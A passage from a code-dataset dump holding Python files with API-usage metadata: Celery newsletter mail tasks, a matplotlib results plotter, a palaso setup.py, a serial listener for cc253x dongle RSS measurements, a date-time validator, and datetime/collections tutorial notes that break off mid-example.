"call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 241, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 241, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.utils.serialize_revision", "line_number": 246, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 246, "usage_type": "name"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 230, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.utils.handle_odm_errors", "line_number": 231, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 231, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 232, "usage_type": "call"}, {"api_name": "website.models.User.from_cookie", "line_number": 257, "usage_type": "call"}, {"api_name": "website.models.User", "line_number": 257, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 260, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 260, "usage_type": "attribute"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 266, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 266, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode.get", "line_number": 269, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 269, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 269, "usage_type": "name"}, {"api_name": "modularodm.storage.base.KeyExistsException", "line_number": 275, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 278, "usage_type": "call"}, {"api_name": "httplib.CONFLICT", "line_number": 278, "usage_type": "attribute"}, {"api_name": "framework.auth.Auth", "line_number": 284, "usage_type": "call"}, {"api_name": "framework.auth.Auth", "line_number": 285, "usage_type": "call"}, {"api_name": "website.models.NodeLog.FOLDER_CREATED", "line_number": 285, "usage_type": "attribute"}, {"api_name": "website.models.NodeLog", "line_number": 285, "usage_type": "name"}, {"api_name": "httplib.CREATED", "line_number": 287, "usage_type": "attribute"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 252, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.utils.handle_odm_errors", "line_number": 253, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 253, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 254, "usage_type": "call"}]} +{"seq_id": "285584925", "text": "# -*- encoding:utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom arrow import utcnow\nfrom flask import render_template\nfrom flask.ext.mail import Message\n\nfrom ..extensions import db, mail\nfrom ..models import Newsletter\nfrom .env import celery, logger\n\n\n@celery.task(ignore_result=True)\ndef validate_mails():\n records = Newsletter.query.\\\n filter(Newsletter.validate_ts.is_(None)).\\\n filter(Newsletter.last_mail.is_(None)).\\\n all()\n\n for record in records:\n msg = Message()\n msg.subject = \"Bestätigung zur Aufnahme in den Newsletter\"\n msg.add_recipient(record.email)\n msg.body = render_template(\"mail/newsletter_validate.txt\", hash=record.validate_hash)\n msg.send(mail)\n\n record.last_mail = utcnow().datetime\n db.session.add(record)\n db.session.commit()\n\n logger.info(\"validate mail send to: %s\" % msg.recipients[0])\n\n\n@celery.task(ignore_result=True)\ndef welcome_mails():\n records = Newsletter.query.\\\n filter(Newsletter.validate_ts.isnot(None)).\\\n filter(Newsletter.last_mail.isnot(None)).\\\n filter(Newsletter.last_mail < Newsletter.validate_ts).\\\n all()\n\n for record in records:\n msg = Message()\n msg.subject = \"Willkommen beim BestellerKING Newsletter\"\n msg.add_recipient(record.email)\n msg.body = render_template(\"mail/newsletter_welcome.txt\")\n msg.send(mail)\n\n record.last_mail = utcnow().datetime\n db.session.add(record)\n db.session.commit()\n\n logger.info(\"welcome mail send to: %s\" % msg.recipients[0])\n", "sub_path": "app/tasks/newsletter.py", "file_name": "newsletter.py", "file_ext": "py", "file_size_in_byte": 1716, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "models.Newsletter.query.filter", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Newsletter.query", "line_number": 19, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 19, "usage_type": "name"}, {"api_name": "models.Newsletter.validate_ts.is_", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Newsletter.validate_ts", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 20, "usage_type": "name"}, {"api_name": "models.Newsletter.last_mail.is_", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Newsletter.last_mail", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.ext.mail.Message", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 28, "usage_type": "call"}, {"api_name": "extensions.mail", "line_number": 29, "usage_type": "argument"}, {"api_name": "arrow.utcnow", "line_number": 31, "usage_type": "call"}, {"api_name": "extensions.db.session.add", "line_number": 32, "usage_type": "call"}, {"api_name": "extensions.db.session", "line_number": 32, "usage_type": "attribute"}, {"api_name": "extensions.db", "line_number": 32, "usage_type": "name"}, {"api_name": "extensions.db.session.commit", "line_number": 33, "usage_type": "call"}, {"api_name": "extensions.db.session", "line_number": 33, "usage_type": "attribute"}, {"api_name": "extensions.db", "line_number": 33, "usage_type": "name"}, {"api_name": "env.logger.info", "line_number": 35, "usage_type": "call"}, {"api_name": "env.logger", "line_number": 35, "usage_type": "name"}, {"api_name": "env.celery.task", "line_number": 17, "usage_type": "call"}, {"api_name": "env.celery", "line_number": 17, "usage_type": "name"}, {"api_name": "models.Newsletter.query.filter", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Newsletter.query", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 40, "usage_type": "name"}, {"api_name": "models.Newsletter.validate_ts.isnot", "line_number": 41, "usage_type": "call"}, {"api_name": "models.Newsletter.validate_ts", "line_number": 41, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 41, "usage_type": "name"}, {"api_name": "models.Newsletter.last_mail.isnot", "line_number": 42, "usage_type": "call"}, {"api_name": "models.Newsletter.last_mail", "line_number": 42, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 42, "usage_type": "name"}, {"api_name": "models.Newsletter.last_mail", "line_number": 43, "usage_type": "attribute"}, {"api_name": "models.Newsletter", "line_number": 43, "usage_type": "name"}, {"api_name": "models.Newsletter.validate_ts", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.ext.mail.Message", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "extensions.mail", "line_number": 51, "usage_type": "argument"}, {"api_name": "arrow.utcnow", "line_number": 53, "usage_type": "call"}, {"api_name": "extensions.db.session.add", "line_number": 54, "usage_type": "call"}, {"api_name": "extensions.db.session", "line_number": 54, "usage_type": "attribute"}, {"api_name": "extensions.db", "line_number": 54, "usage_type": "name"}, {"api_name": "extensions.db.session.commit", "line_number": 55, "usage_type": "call"}, {"api_name": "extensions.db.session", "line_number": 55, "usage_type": "attribute"}, {"api_name": "extensions.db", "line_number": 55, "usage_type": "name"}, {"api_name": "env.logger.info", "line_number": 57, "usage_type": "call"}, {"api_name": "env.logger", "line_number": 57, "usage_type": "name"}, {"api_name": "env.celery.task", "line_number": 38, "usage_type": "call"}, {"api_name": "env.celery", "line_number": 38, "usage_type": "name"}]} +{"seq_id": "419723746", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\n\n\ndef preprocess(para_list, dic):\n rounds_data_list = []\n for para in para_list:\n rounds_data_list.append(dic[para])\n return rounds_data_list\n\n\ndef std_avg_graph():\n para_u = [0, 6, 12, 24, 48, 96, 188]\n para_r = [0, 16, 32, 48, 64, 96, 128, 256, 512, 768]\n\n u_data_dict = pickle.load(open(\"uni_data_1000_\", \"rb\"))\n r_data_dict = pickle.load(open(\"ratio_data_1000_\", \"rb\"))\n\n data_to_plot_u = preprocess(para_u, u_data_dict)\n\n data_to_plot_r = preprocess(para_r, r_data_dict)\n\n fig = plt.figure(1, figsize=(9, 6))\n\n # Create an axes instance\n ax = fig.add_subplot(111)\n\n # Create the boxplot\n bp = ax.boxplot(data_to_plot_r, showmeans=True, labels=para_r)\n plt.xlabel(\"Number_Of_Trusted_Nodes\")\n plt.ylabel(\"Number of Rounds\")\n plt.title(\"Ratio_Distributed_Good_Nodes_In_Random_Case\")\n plt.show()\n\n\ndef alg_compare_graph(result_dict):\n for num_trusted, small_dict in result_dict.items():\n for alg_label, rounds_list in small_dict.items():\n if alg_label == 0:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'r--', label='DEGREE_CENTRALITY')\n elif alg_label == 1:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'b--', label='EIGEN_CENTRALITY')\n elif alg_label == 2:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'g--', label='CLOSENESS_CENTRALITY')\n elif alg_label == 3:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'y--', label='BETWEENNESS_CENTRALITY')\n elif alg_label == 4:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'c--', label='UNIFORM_TOTAL')\n elif alg_label == 5:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'm--', label='UNIFORM_SUB')\n elif alg_label == 6:\n plt.plot(list(range(len(rounds_list))), rounds_list, 'k--', label='WEIGHTED_EDGEs')\n plt.xticks(np.arange(0, len(rounds_list), 1.0))\n plt.legend(loc='best')\n plt.title(f\"number of trusted node : {num_trusted}\")\n plt.savefig(f\"testing_int{num_trusted}\")\n plt.clf()\n\n\n# key: number of trusted\n# value: small dict:\n # key: algorithm name\n # number of rounds\nif __name__ == '__main__':\n result_dict = pickle.load(open(\"/Users/yingjianwu/Desktop/broadcast/Broadcast_py/result_dict_0123.pickle\", \"rb\"))\n result_dict_456 = pickle.load(open(\"/Users/yingjianwu/Desktop/broadcast/Broadcast_py/result_dict_456.pickle\", \"rb\"))\n\n for k, v in result_dict_456.items():\n small_dict_in_result_dict = result_dict[k]\n for a, b in v.items():\n small_dict_in_result_dict[a] = b\n alg_compare_graph(result_dict)", "sub_path": "Graph.py", "file_name": "Graph.py", "file_ext": "py", "file_size_in_byte": 2800, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pickle.load", "line_number": 17, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 66, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "254865488", "text": "#!/usr/bin/env python\n\nfrom setuptools import setup\nfrom glob import glob\nimport platform, sys\n\npackages=['palaso', 'palaso.collation', 'palaso.kmn', 'palaso.sfm', \n 'palaso.teckit', 'palaso.text', 'palaso.font', 'palaso.contrib',\n 'palaso.contrib.freetype', 'palaso.contrib.freetype.ft_enums',\n 'palaso.contrib.funcparserlib', 'palaso.unicode', 'palaso.sldr']\ntry:\n from Pyrex.Distutils.extension import Extension\n from Pyrex.Distutils import build_ext\n ext =[ Extension(\"palaso.kmfl\", [\"lib/palaso.kmfl.pyx\"], libraries=[\"kmfl\", \"kmflcomp\"]) ] \n cmd = {'build_ext': build_ext}\n packages.insert(0, '')\nexcept ImportError:\n print(\"No Pyrex!\")\n ext = []\n cmd = {}\n\nsetup(name='palaso',\n version='0.7.4',\n description='Payap Language Software python package and scripts',\n long_description=\"Modules and scripts useful for building language software.\",\n maintainer='Tim Eves',\n maintainer_email='tim_eves@sil.org',\n url='http://github.com/silnrsi/palaso-python',\n packages=packages,\n ext_modules = ext,\n cmdclass = cmd,\n scripts=list(filter(lambda x : x.rfind(\".\") == -1, glob('scripts/*/*'))),\n license='LGPL',\n platforms=['Linux','Win32','Mac OS X'],\n package_dir={'':'lib'},\n package_data={'palaso.sfm':['usfm.sty'], 'palaso.kmn':['keyboard.svg'], \n 'palaso.collation' : ['sort_trainer.glade'],\n 'palaso.sldr': ['allkeys.txt', 'language-subtag-registry.txt',\n 'likelySubtags.xml', 'supplementalData.xml',\n 'supplementalMetadata.xml']}\n )\n\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1672, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "Pyrex.Distutils.extension.Extension", "line_number": 14, "usage_type": "call"}, {"api_name": "Pyrex.Distutils.build_ext", "line_number": 15, "usage_type": "name"}, {"api_name": "setuptools.setup", "line_number": 22, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "463174198", "text": "'''\nCreated on May 23, 2016\n\n@author: Peter Hillyard\n'''\n\n# This module contains the classes to listen to the wireless traffic in a \n# mesh network for the cc253x TI dongles. The advantage of this class is that\n# it gives you a function that pulls in the next set of RSS measurements from \n# the links. The user can use this function to get the next measurements and\n# run a real-time algorithm very easily and with all of the serial communication\n# abstracted.\n\n# This class takes care of the \nimport sys\nimport platform\nimport glob\n# import numpy.ma as ma\nimport numpy as np\nimport serial\nimport time\nfrom struct import unpack\nimport rss\n\nclass listen:\n \n # Initializer\n def __init__(self,max_nodes=0,ch_list=[],fout_name='',sound_print_flag=0,beep_rate=0.):\n self.numNodes = max_nodes # total number of nodes in network\n self.channelList = ch_list # channels (11-26) used in communication\n self.nodeList = None # all tx-ids\n self.numChs = None # number of channels\n self.numLinks = None # number of links\n self.nodeSet = None # node list in set form\n self.channelSet = None # channel list in set form\n self.currentLine = None # holds the serial data\n self.cur_line = None # str of RSS and timestamp\n self.currentLinkRSS = None # holds the link RSS data\n self.rssIndex = None # index where the RSS starts in the list\n self.string_length = None # length of a packet\n self.suffix = None # end-of-line marker\n self.rxId_idx = None # Index where the rxId is in the packet (unique to node type)\n self.ch_idx = None # index where the channel number is in the packet (unique to node type)\n \n self.ser = None # the serial object used to get rss measurements\n \n self.fout_name = fout_name # file name to save data\n self.fout = None # output file object\n \n self.sound_print_flag = sound_print_flag # print and make beep sound flag\n self.beepCounter = None # keeps track of the number of beeps\n self.beepRate = beep_rate # number of beeps per second\n self.startTime = None # keeps track of when the script starts\n \n self.__run_init() # Run initialization\n \n def observe(self):\n # Run forever, adding one integer at a time from the serial port, \n # whenever an integer is available. We break once a complete set of\n # RSS measurements are received from all links\n while(1):\n try:\n tempInt = self.ser.read().encode('hex')\n self.currentLine.append(tempInt)\n \n # Whenever the end-of-line sequence is read, operate on the \"packet\" of data.\n if self.currentLine[-len(self.suffix):] == self.suffix:\n if len(self.currentLine) != self.string_length:\n sys.stderr.write('packet corrupted - wrong string length\\n')\n del self.currentLine[:]\n continue\n currentLineInt = [int(x, 16) for x in self.currentLine]\n rxId = currentLineInt[self.rxId_idx]\n currentCh = currentLineInt[self.ch_idx]\n \n if (rxId not in self.nodeSet) or (currentCh not in self.channelSet):\n del self.currentLine[:]\n continue\n \n # Take care of beeping\n if self.sound_print_flag:\n timeStampSec = time.time()\n curBeepNumber = int((timeStampSec-self.startTime)/self.beepRate)\n if (curBeepNumber > self.beepCounter):\n self.beepCounter = curBeepNumber\n sys.stderr.write('\\a') # BEEP!\n sys.stderr.write(str((curBeepNumber - 40)/4.0 ) + '\\n')\n if curBeepNumber % 4 == 0:\n sys.stderr.write('\\a') # Double beep each \"measure\"\n sys.stderr.write('---\\n') \n \n # Each line in the serial data has RSS values for multiple txids.\n # Output one line per txid, rxid, ch combo.\n for txId in self.nodeList:\n # If the rxId is after the txId, then no problem -- currentCh\n # is also the channel that node txId was transmitting on when\n # node rxId made the measurement, because nodes transmit on a\n # channel in increasing order.\n if rxId > txId: \n ch = currentCh\n else: \n ch = rss.prevChannel(self.channelList, currentCh)\n \n # If the link (tx, rx, ch) is one we are supposed to watch\n if txId != rxId: \n i = rss.linkNumForTxRxChLists(txId, rxId, ch, self.nodeList, self.channelList)\n \n # If the RSS has already been recorded for this link on \n # this \"line\", then output the line first, and then restart \n # with a new line.\n if self.currentLinkRSS[i] < 127:\n # Output currentLinkRSS vector\n cur_line = ' '.join(map(str,self.currentLinkRSS)) + ' ' + str(time.time()) + '\\n'\n \n # Either print to std out\n if self.fout is None:\n sys.stdout.write(cur_line) \n sys.stdout.flush()\n else:\n self.fout.write(cur_line)\n \n \n # Restart with a new line by resetting currentLinkRSS\n self.currentLinkRSS = [127] * self.numLinks\n \n # Store the RSS \n self.currentLinkRSS[i] = rss.hex2signedint(self.currentLine[self.rssIndex+txId-1])\n \n # Remove serial data from the buffer.\n self.currentLine = []\n \n # break from loop\n break\n \n except KeyboardInterrupt:\n self.ser.close()\n sys.stderr.write('Listen stopped.')\n \n # get current RSS/timestamp string\n def get_cur_rss_ts(self):\n return self.cur_line\n \n # Run the initialization method. This runs the sniffer if the user doesn't\n # specify the number of nodes used or the channel list \n def __run_init(self):\n # open the serial port\n self.__open_ser()\n \n # If the user did not specify the number of nodes or the channel list,\n # they are opting to run the sniffer to get those values automatically\n if (self.numNodes == 0) | (len(self.channelList) == 0):\n sys.stderr.write('Running sniffer...\\n')\n self.__sniffer()\n \n # print useful info to screen\n sys.stderr.write('\\nMax nodes = ' + str(self.numNodes) + '.\\n')\n tmp = ''\n for item in self.channelList:\n tmp = tmp + str(item) + ', '\n sys.stderr.write('Channel list = [' + tmp[:-2] + ']\\n')\n \n # What node numbers are yours, that you want to see output to the file.\n # USER: SET THIS TO THE NODE IDS ASSIGNED TO YOU. DO NOT INCLUDE THE LISTEN NODE NUMBER\n self.nodeList = range(1,self.numNodes+1) # 1, ..., 30\n \n # Parameters that are due to our implementation of the listen node.\n self.numChs = len(self.channelList)\n self.numLinks = self.numNodes*(self.numNodes-1)*self.numChs\n \n # Initialize data\n self.nodeSet = set(self.nodeList)\n self.channelSet = set(self.channelList)\n self.currentLine = [] # Init serial data buffer \"currentLine\" as empty.\n self.currentLinkRSS = [127] * self.numLinks\n \n # Initialize output file, if needed\n if len(self.fout_name) != 0:\n self.fout = open(self.fout_name+'.txt','w')\n \n # set up beeping stuff if needed\n if self.sound_print_flag:\n self.startTime = time.time()\n\n # If you want beeps and/or second printing\n self.beepCounter = 0\n# self.beepRate = 1.0 # Beeps per second\n sys.stderr.write('firstBeepTime = ' + str(self.startTime) + '\\n')\n \n # This opens the serial port for reading\n def __open_ser(self):\n # Establish a serial connection and clear the buffer\n serial_filename = self.__serialFileName()\n sys.stderr.write('Using USB port file: ' + serial_filename + '\\n')\n self.ser = serial.Serial(serial_filename,38400)\n self.ser.flushInput()\n\n \n # Sniff out the packets to get the total number of nodes and the channels\n # used in this network\n def __sniffer(self): \n # ending key and the place to store the serial data\n beef = '\\xef' + '\\xbe'\n my_buffer = ''\n \n # list to store the list of node numbers and channels\n node_list = []\n channel_list = []\n \n # get a start time\n start_time = time.time()\n \n # Keep on listening for multi-Spin packets for 5 seconds\n while time.time() < (start_time + 5.):\n \n # keep adding measurements to the buffer\n my_buffer += self.ser.read(self.ser.inWaiting())\n \n # If the end key is found, proceed\n if beef in my_buffer:\n \n # unpack serial data\n lines = my_buffer.split(beef, 1)\n binaryPacket = lines[-2]\n my_buffer = lines[-1]\n spinPacket = unpack(' 0:\n serial_filename = usb_file_list[0] \n else:\n sys.stderr.write('Error: No Listen node plugged in?\\n')\n serial_filename = '0'\n #\n # WINDOWS USERS: Change 'COM#' to match what the system calls your USB port.\n elif system_name == 'Windows':\n serial_filename = 'COM3'\n #\n # MAC USERS\n else: # 'Darwin' indicates MAC OS X\n # Automatically grab the USB filename (since the number after /dev/tty.usb may vary)\n usb_file_list = glob.glob('/dev/tty.usb*')\n# print usb_file_list\n# quit()\n if len(usb_file_list) > 0:\n serial_filename = usb_file_list[0] \n else:\n sys.stderr.write('Error: No Listen node plugged in?\\n')\n \n #serial_filename = '/dev/tty.usbmodem411'\n serial_filename = '/dev/tty.usbmodem001'\n \n return serial_filename\n\n# Class for cc253x dongles in SPAN lab\nclass cc253x_span_listen(listen):\n \n # Initializer\n def __init__(self, max_nodes=0,ch_list=[],fout_name='',sound_print_flag=0,beep_rate=0.):\n # Initialize listen object\n listen.__init__(self, max_nodes,ch_list,fout_name,sound_print_flag,beep_rate)\n \n self.rssIndex = 3 # index where the RSS starts in the list\n self.string_length = self.numNodes + 7 # length of a packet\n self.suffix = ['ef','be'] # end-of-line marker\n self.rxId_idx = 2 # index where the rx ID is in packet\n self.ch_idx = -4 # index where the channel number is in packet\n\n# Class for cc253x high-power xandem nodes\nclass cc253x_xandem_hp_listen(listen):\n \n # Initializer\n def __init__(self, max_nodes=2000, ch_list = [77,88,99,11,22,33],fout_name='',sound_print_flag=0,beep_rate=0.):\n # Initialize listen object\n listen.__init__(self, max_nodes,ch_list,fout_name,sound_print_flag,beep_rate)\n \n self.rssIndex = 9 # index where the RSS starts in the list\n self.string_length = self.numNodes + 25 # length of a packet\n self.suffix = ['ef','be', 'ad', 'de'] # end-of-line marker\n self.rxId_idx = 5 # index where the rx ID is in packet\n self.ch_idx = 2 # index where the channel number is in packet\n \n \n \n ", "sub_path": "cc253x_listen.py", "file_name": "cc253x_listen.py", "file_ext": "py", "file_size_in_byte": 13983, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.stderr.write", "line_number": 69, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 69, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 82, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 86, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 87, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 87, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 89, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 89, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 90, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 90, "usage_type": "attribute"}, {"api_name": "rss.prevChannel", "line_number": 102, "usage_type": "call"}, {"api_name": "rss.linkNumForTxRxChLists", "line_number": 106, "usage_type": "call"}, {"api_name": "time.time", "line_number": 113, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 117, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 117, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 118, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 118, "usage_type": "attribute"}, {"api_name": "rss.hex2signedint", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 137, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 137, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 152, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 152, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 156, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 156, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 160, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 160, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 182, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 187, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 187, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 193, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 193, "usage_type": "attribute"}, {"api_name": "serial.Serial", "line_number": 194, "usage_type": "call"}, {"api_name": "time.time", "line_number": 210, "usage_type": "call"}, {"api_name": "time.time", "line_number": 213, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 238, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 249, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 254, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 258, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 258, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 268, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 274, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 274, "usage_type": "attribute"}]} +{"seq_id": "115953974", "text": "from systems.plugins.index import BaseProvider\n\nimport datetime\n\n\nclass Provider(BaseProvider('validator', 'date_time')):\n\n def validate(self, value):\n if isinstance(value, float):\n value = int(value)\n try:\n datetime.datetime.strptime(str(value), self.field_format)\n except ValueError as e:\n self.warning(\"Value {} is not a valid date time according to pattern: {}\".format(value, self.field_format))\n return False\n return True\n", "sub_path": "app/plugins/validator/date_time.py", "file_name": "date_time.py", "file_ext": "py", "file_size_in_byte": 502, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "systems.plugins.index.BaseProvider", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "attribute"}]} +{"seq_id": "255132063", "text": "## datetime 处理日期和时间的标准库\nfrom datetime import datetime\nnow = datetime.now()\nprint(now)\n\n### 获取指定日期和时间\ndt = datetime(2015, 4, 19, 12, 20)\nprint( dt )\n\n### datetime转化为timestamp\n# timestamp = 0 = 1970-1-1 00:00:00 UTC+0:00\nprint( dt.timestamp() )\n\n\n### timestamp转化为datetime\nt = 1429417200.0\nprint( datetime.fromtimestamp(t) ) # 本地时间\nprint( datetime.utcfromtimestamp(t) ) #utc时间\n\n\n### str转换为datetime\ncday = datetime.strptime(\"2016-6-1 18:19:59\", '%Y-%m-%d %H:%M:%S')\nprint( cday )\n\n\n### datetime转换为str\nnow = datetime.now()\nprint( now.strftime('%a, %b %d %H:%M') )\n\n### datetime加减\nfrom datetime import datetime, timedelta\nnow = datetime.now()\n\nprint(now)\nprint(now + timedelta(hours=10))\n\nprint(now - timedelta(days=1))\n\nprint(now - timedelta(days=2, hours=12))\n\n### 本地时间转换为utc时间\nfrom datetime import datetime, timedelta, timezone\n\n\n## collections\n'''\ntuple表示不变集合，一个点的二维坐标就可以表示成：\np = (1, 2) 但这样不是很明确\n'''\nfrom collections import namedtuple\nPoint = namedtuple('Point', ['x', 'y'])\np = Point(1, 2)\nprint(p.x)\nprint(p.y)\n\nprint( isinstance(p, Point) )\nprint( isinstance(p, tuple) )\n\n## deque\n'''\n使用list存储数据时，按索引访问元素很快，但插入和删除元素就很慢。因为list是线性存储\ndeque视为了高效实现插入和删除操作的双向列表，适合用于队列和栈\nappend() pop() appendleft() popleft()\n'''\nfrom collections import deque\nq = deque(['a', 'b', 